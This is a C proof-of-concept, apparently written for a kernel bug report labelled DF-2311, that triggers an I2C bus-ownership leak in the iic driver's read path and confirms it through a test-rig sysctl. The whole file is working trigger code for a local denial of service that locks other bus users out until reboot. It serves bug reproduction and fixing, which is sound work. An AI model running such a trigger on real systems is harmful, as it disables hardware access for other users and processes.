/*
 * DF-2311 PoC (v3 -- authoritative softc probe)
 *
 * iicread() (sys/bus/iicbus/iic.c:263-268) returns on
 * iicbus_block_read() failure WITHOUT calling iicbus_release_bus()
 * (compare iicwrite :222-225 which always releases).  The leaked owner
 * is directly observable in struct iicbus_softc->owner (iicbus.h:39)
 * via the rig's hw.fakebb3.busowner sysctl.
 *
 * NOTE on trigger flavor: on the emulated peer a read-direction NACK
 * cannot be expressed (the slave only NACKs write-direction data), so
 * the deterministic block_read failure used here is the
 * bus-already-started EINVAL (iicbus_start, iiconf.c:178) -- the SAME
 * early-error return at iic.c:265-268 that any block_read failure
 * (incl. the finding's NACKed-address flavor on real hardware) takes.
 *
 * IMPORTANT: the probe must be the sysctl (read-only); issuing any
 * further iic ioctl would itself request+release the bus and mask the
 * leak (the ioctl path always releases at iic.c:383).
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/sysctl.h>

#include "iic_abi.h"

static char ownerbuf[64];

static const char *
owner_now(void)
{
	size_t l = sizeof(ownerbuf);

	if (sysctlbyname("hw.fakebb3.busowner", ownerbuf, &l, NULL, 0) < 0)
		return ("(sysctl failed)");
	return (ownerbuf);
}

int
main(void)
{
	struct iiccmd s;
	char buf[8];
	int fd;

	setvbuf(stdout, NULL, _IONBF, 0);
	fd = open("/dev/iic0", O_RDWR | O_NONBLOCK);
	if (fd < 0) {
		printf("DF2311: open FAILED %s\n", strerror(errno));
		return (1);
	}
	ioctl(fd, I2CSTOP);
	memset(&s, 0, sizeof(s));
	s.slave = 0x6d;
	if (ioctl(fd, I2CSTART, &s) != 0) {
		printf("DF2311: arm failed %s\n", strerror(errno));
		return (1);
	}
	printf("DF2311: sc_addr=0x6d armed, sc->started kept nonzero\n");
	printf("DF2311: iicbus0 owner BEFORE: %s (0 = released)\n",
	    owner_now());

	{
		pid_t p = fork();
		if (p == 0) {
			alarm(5);
			ssize_t r = read(fd, buf, sizeof(buf));
			printf("DF2311: read() returned %zd errno=%d "
			    "(block_read failed; iicread returned at "
			    "iic.c:265-268 WITHOUT iicbus_release_bus)\n",
			    r, errno);
			_exit(0);
		}
		waitpid(p, NULL, 0);
	}

	printf("DF2311: iicbus0 owner AFTER FAILED READ: %s "
	    "(nonzero = LEAKED)\n", owner_now());
	sleep(2);
	printf("DF2311: iicbus0 owner +2s:                %s "
	    "(unchanged = permanent; any other iicbus child is "
	    "locked out until reboot)\n", owner_now());

	if (strcmp(ownerbuf, "0") != 0 && strlen(ownerbuf) > 2) {
		printf("DF2311: REPRODUCED -- iicread() leaked the I2C bus "
		    "ownership on block_read failure\n");
		return (0);
	}
	printf("DF2311: not reproduced\n");
	return (1);
}
